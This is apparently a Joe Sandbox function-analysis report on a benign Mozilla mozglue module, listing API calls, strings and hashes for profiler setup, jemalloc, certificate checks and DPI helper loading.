exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C63567C
free.MOZGLUE(?), ref: 6C6356AE

Part of subcall function 6C645E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C645EDB
Part of subcall function 6C645E90: memset.VCRUNTIME140(ewhl,000000E5,?), ref: 6C645F27
Part of subcall function 6C645E90: LeaveCriticalSection.KERNEL32(?), ref: 6C645FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6356E8
GetCurrentThreadId.KERNEL32 ref: 6C635707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C63570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C635729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C63574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C63576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C635796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6357B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6357CA

Strings

MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6356E3
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C635D2B
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C635D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C635749
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C635C56
MOZ_PROFILER_STARTUP, xrefs: 6C6355E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C635B38
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C635791
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C635D24
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6354A3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C635717
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6357C5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C63548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C635AC9
GeckoMain, xrefs: 6C635554, 6C6355D5
MOZ_BASE_PROFILER_HELP, xrefs: 6C635511
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C635BBE
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6357AE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C635D1C
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6354B9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C635766
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C635CF9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C635724
[I %d/%d] profiler_init, xrefs: 6C63564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C63584E

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 7cce6ce5498f34b298c9c2f1219477ba200b99cc99ca46682f9da569d9ebbfd3
Instruction ID: 03beb08fdd94672f0051c51d78baae983fe3d642b067688c004e923b450ed929
Opcode Fuzzy Hash: 7cce6ce5498f34b298c9c2f1219477ba200b99cc99ca46682f9da569d9ebbfd3
Instruction Fuzzy Hash: 5D2213B0A043109FDB009FA6949865E77F4EF8734CF14652AE94A87B41EB31E849CB5F

Function 6C66B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B845
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8,?,?,00000000), ref: 6C66B852
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66B884
InitializeConditionVariable.KERNEL32(?), ref: 6C66B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C66B9FD
GetCurrentThreadId.KERNEL32 ref: 6C66BA05
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8,?,?,00000000), ref: 6C66BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C66BA27
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66BA4B
free.MOZGLUE(?), ref: 6C66C9C7
free.MOZGLUE(?), ref: 6C66C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C66C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C66C878

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: a552548b7ec0e7718cfe4bd7f05b89426b053fe53a039257d16cc5d036f9f7b9
Instruction ID: 9b2337e467ab0506b922758c4b8fae433976917f681756264289a0335916b128
Opcode Fuzzy Hash: a552548b7ec0e7718cfe4bd7f05b89426b053fe53a039257d16cc5d036f9f7b9
Instruction Fuzzy Hash: 79A28E71A087808FC725CF29C49079FB7E5BFCA314F148A2DE89997751DB70A9058B8B

Function 6C636C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C636CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C636D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C636D26

Part of subcall function 6C63CA10: malloc.MOZGLUE(?), ref: 6C63CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C636D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C636D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C636D73
free.MOZGLUE(00000000), ref: 6C636D80
CertGetNameStringW.CRYPT32 ref: 6C636DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C636DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C636DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C636DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C636E10
CryptMsgClose.CRYPT32(00000000), ref: 6C636E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C636E34
CreateFileW.KERNEL32 ref: 6C636EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C636F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C636F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C63709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C637103
free.MOZGLUE(00000000), ref: 6C637153
CloseHandle.KERNEL32(?), ref: 6C637176
__Init_thread_footer.LIBCMT ref: 6C637209
__Init_thread_footer.LIBCMT ref: 6C63723A
__Init_thread_footer.LIBCMT ref: 6C63726B
__Init_thread_footer.LIBCMT ref: 6C63729C
__Init_thread_footer.LIBCMT ref: 6C6372DC
__Init_thread_footer.LIBCMT ref: 6C63730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6373C2
VerSetConditionMask.NTDLL ref: 6C6373F3
VerSetConditionMask.NTDLL ref: 6C6373FF
VerSetConditionMask.NTDLL ref: 6C637406
VerSetConditionMask.NTDLL ref: 6C63740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C63741A
moz_xmalloc.MOZGLUE(?), ref: 6C63755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C637568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C637585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C637598
free.MOZGLUE(00000000), ref: 6C6375AC

Part of subcall function 6C65AB89: EnterCriticalSection.KERNEL32(6C6AE370,?,?,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284), ref: 6C65AB94
Part of subcall function 6C65AB89: LeaveCriticalSection.KERNEL32(6C6AE370,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C65ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C6372C8
SHA256, xrefs: 6C636EC0
wintrust.dll, xrefs: 6C6372CD
(, xrefs: 6C63768A

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: c126fefe32135147311379aaef3d11e7e2f30d10cb07946f0e053abd82eff501
Instruction ID: 9bd9ad5132bf80b18d32151616338903feed9f12d0ada6fb0155a40350b55a98
Opcode Fuzzy Hash: c126fefe32135147311379aaef3d11e7e2f30d10cb07946f0e053abd82eff501
Instruction Fuzzy Hash: 5052F5B1A00224DBEB219F65CD84BAE77B8FF46704F106199E50D97640DB30BE85CF9A

Function 6C656FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6AE7DC), ref: 6C657019
LeaveCriticalSection.KERNEL32(6C6AE7DC), ref: 6C657061
EnterCriticalSection.KERNEL32(?), ref: 6C6571A4
LeaveCriticalSection.KERNEL32(?), ref: 6C65721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C65723E
EnterCriticalSection.KERNEL32(?), ref: 6C65726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6572B2
LeaveCriticalSection.KERNEL32(?), ref: 6C65733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6573E8
LeaveCriticalSection.KERNEL32(?), ref: 6C65961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C659622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C659642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C65964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6596CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6596DB
AcquireSRWLockExclusive.KERNEL32(6C6AE804), ref: 6C659747
GetSystemInfo.KERNEL32(?), ref: 6C659792
__Init_thread_footer.LIBCMT ref: 6C6597A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6AE810,00000040), ref: 6C6597CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6AE7B8,00001388), ref: 6C659838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6AE744,00001388), ref: 6C65984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6AE784,00001388), ref: 6C659874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6AE7DC,00001388), ref: 6C659895

Strings

MALLOC_OPTIONS, xrefs: 6C6597CA
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C659993
Compile-time page size does not divide the runtime one., xrefs: 6C659B38
MOZ_CRASH(), xrefs: 6C659B42
<jemalloc>, xrefs: 6C659B33, 6C659BE3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6599D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C659933, 6C659A33, 6C659A4E
: (malloc) Unsupported character in malloc options: ', xrefs: 6C659BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6599BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6599A8

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 5be2ca1243f129115dc33d69f434d4b258dbf1702763c1d0d78ca1d3d1b60a92
Instruction ID: 541ba4ae08d7526aeb93a73c1a72ecea425f39e17cd6f6a8d012285d870f7f8c
Opcode Fuzzy Hash: 5be2ca1243f129115dc33d69f434d4b258dbf1702763c1d0d78ca1d3d1b60a92
Instruction Fuzzy Hash: 0453B0B1A157018FD704CF29C580615FBE1FF8A328F69C66DE8698B7A1D331E852CB85

Function 6C660DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C660F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C660F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C660FB7
EnterCriticalSection.KERNEL32(?), ref: 6C660FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C661031
LeaveCriticalSection.KERNEL32(?), ref: 6C6610D0
EnterCriticalSection.KERNEL32(?), ref: 6C66117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C661C39
EnterCriticalSection.KERNEL32(6C6AE744), ref: 6C663391
LeaveCriticalSection.KERNEL32(6C6AE744), ref: 6C6633CD
LeaveCriticalSection.KERNEL32(?), ref: 6C663431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C663437

Strings

MALLOC_OPTIONS, xrefs: 6C6635FE
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C663793
Compile-time page size does not divide the runtime one., xrefs: 6C663946
MOZ_CRASH(), xrefs: 6C663950
<jemalloc>, xrefs: 6C663941, 6C6639F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6637D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C663559, 6C66382D, 6C663848
: (malloc) Unsupported character in malloc options: ', xrefs: 6C663A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6637BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6637A8

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: b42679301f458ada6d29a468e2b1a0b8da69311603d08e2489f3c96662b42a11
Instruction ID: 7beef10209e13fe667d13740a37e03345ddc9f05a2f35d89fd19dd4103c8ebd3
Opcode Fuzzy Hash: b42679301f458ada6d29a468e2b1a0b8da69311603d08e2489f3c96662b42a11
Instruction Fuzzy Hash: B8539E71A057018FD704CF2AC580615FBE1BF89328F29C76DE8699BB91D771E841CB8A

Function 6C6855F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C65E1A5), ref: 6C685606
LoadLibraryW.KERNEL32(gdi32,?,6C65E1A5), ref: 6C68560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C685633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C68563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C68566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C68567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C685696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6856B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6856CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6856E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6856FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C685716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C68572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C685748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C685761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C68577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C685793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6857A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6857BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6857D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6857EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6857FF

Strings

EnableNonClientDpiScaling, xrefs: 6C685666
gdi32, xrefs: 6C68560A
LoadIconW, xrefs: 6C68575B
MonitorFromWindow, xrefs: 6C68578D
user32, xrefs: 6C685601
SetWindowLongPtrW, xrefs: 6C6857B7
CreateWindowExW, xrefs: 6C6856C5
AreDpiAwarenessContextsEqual, xrefs: 6C685637
DeleteObject, xrefs: 6C6857F9
GetMonitorInfoW, xrefs: 6C6857A2
SetWindowPos, xrefs: 6C6856F7
CreateSolidBrush, xrefs: 6C6857E4
GetDpiForWindow, xrefs: 6C685690
StretchDIBits, xrefs: 6C6857CC
ReleaseDC, xrefs: 6C685742
GetThreadDpiAwarenessContext, xrefs: 6C68562D
FillRect, xrefs: 6C685729
LoadCursorW, xrefs: 6C685774
GetWindowDC, xrefs: 6C685710
ShowWindow, xrefs: 6C6856DE
RegisterClassW, xrefs: 6C6856AC
GetSystemMetricsForDpi, xrefs: 6C685677

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 0c13818d9932b1f5f53fe56e15857e5142dd149aa326d48ab0a39daee06061f2
Instruction ID: 55e70a446c3d253076d88fb01e48c64eed25b6c352e9308e21313f6cc8d5776b
Opcode Fuzzy Hash: 0c13818d9932b1f5f53fe56e15857e5142dd149aa326d48ab0a39daee06061f2
Instruction Fuzzy Hash: 965157B06127179BEB009FB65D9492E3AF8BB46385F504425B922D2651EB70EC018F7E

Function 6C6834A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C683527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C68355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6835BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6835E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C68363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C683693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6836CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C683703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C68373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C683775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C68378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C683892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6838BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C683902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C683939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C683970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6839EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C683A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C683AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C683E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C683EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C683EE2

Part of subcall function 6C686180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6861DD
Part of subcall function 6C686180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C68622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6840F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C68412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C684157

Part of subcall function 6C686180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C686250
Part of subcall function 6C686180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C686292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C68441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C684448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C68484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C684863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C684878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C684896
free.MOZGLUE ref: 6C68489F

Strings

, xrefs: 6C684CD2

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
